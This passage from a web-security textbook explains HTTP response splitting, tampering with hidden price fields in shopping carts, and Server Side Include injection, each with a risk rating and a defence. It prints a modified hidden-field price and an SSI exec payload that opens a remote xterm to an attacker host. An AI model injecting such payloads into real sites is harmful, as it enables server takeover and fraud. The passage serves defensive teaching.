Another thing to consider for applications with challenging input constraint requirements (such as search engines) is to perform output validation. As we noted in our discussion of XSS earlier in this chapter, output encoding should be used anytime input from one user will be displayed to another (even especially !administrative users). HTML encoding ensures that text will be correctly displayed in the browser, not interpreted by the browser as HTML. For example, if a text string contains the < and > characters, the browser will interpret these characters as part of HTML tags. The HTML encoding of these two characters is < and >, respectively, which causes the browser to display the angle brackets correctly. By encoding rewritten HTTP responses before sending them to the browser, you can avoid much of the threat from HTTP response splitting. There are many HTML-encoding libraries available to perform this on output. On Microsoft .NET-compatible platforms, you can use the .NET Framework Class Library HttpServerUtility. HtmlEncode method to easily encode output (see http://msdn.microsoft.com/library/en-us/cpref/html/frlrfsystemwebhttpserverutilityclasshtmlencodetopic2.asp).
Lastly, we thought we'd mention a best practice that will help prevent your applications from showing up in common Internet searches for such vulnerabilities: use the runat directive to set off server-side execution in your ASP code:
<form runat="server">
This directs execution to occur on the server before being sent to the client (ASP.NET requires the runat directive for the control to execute). Explicitly defining server-side execution in this manner will help prevent your private web app logic from turning up vulnerable on Google!
Popularity: | 5 |
Simplicity: | 6 |
Impact: | 6 |
Risk Rating: | 6 |
Many companies are now doing business over the Internet, selling their products and services to anyone with a web browser. But poor shopping-cart design can allow attackers to falsify values such as price. Take, for example, a small computer hardware reseller that has set up its web server to allow web visitors to purchase its hardware online. However, the programmers make a fundamental flaw in their codingthey use hidden HTML tags as the sole mechanism for assigning the price to a particular item. As a result, once attackers have discovered this vulnerability, they can alter the hidden-tag price value and reduce it dramatically from its original value.
For example, say a website has the following HTML code on its purchase page:
<FORM ACTION="http://192.168.51.101/cgi-bin/order.pl" method="post"> <input type=hidden name="price" value="199.99"> <input type=hidden name="prd_id" value="X190"> QUANTITY: <input type=text name="quant" size=3 maxlength=3 value=1> </FORM>
A simple change of the price with Netscape Composer or a text editor will allow the attacker to submit the purchase for $1.99 instead of $199.99 (its intended price):
<input type=hidden name="price" value="1.99">
If you think this type of coding flaw is a rarity, think again. Just search on http://www. altavista .com and use the "type=hidden name=price" search criteria to discover hundreds of sites with this flaw.
Another form of attack involves utilizing the width value of fields. A specific size is specified during web design, but attackers can change this value to a large number, such as 70,000, and submit a large string of characters, possibly crashing the server or at least returning unexpected results.
To avoid exploitation of hidden HTML tags, limit the use of hidden tags to store information such as priceor at least confirm the value before processing it.
Popularity: | 4 |
Simplicity: | 4 |
Impact: | 9 |
Risk Rating: | 6 |
Server Side Includes provide a mechanism for interactive, real-time functionality without programming. Web developers will often use them as a quick means of learning the system date/time or to execute a local command and evaluate the output for making a programming flow decision. A number of SSI features (called tags) are available, including echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label, and break . The three most helpful to attackers are the include, exec, and email tags.
A number of attacks can be created by inserting SSI code into a field that will be evaluated as an HTML document by the web server, enabling the attacker to execute commands locally and gain access to the server itself. For example, by the attacker entering an SSI tag into a first or last name field when creating a new account, the web server may evaluate the expression and try to run it. The following SSI tag will send back an xterm to the attacker:
<!--#exec cmd="/usr/X11R6/bin/xterm -display attacker:0 &"-->
Use a pre-parser script to read in any HTML file, and strip out any unauthorized SSI line before passing it on to the server.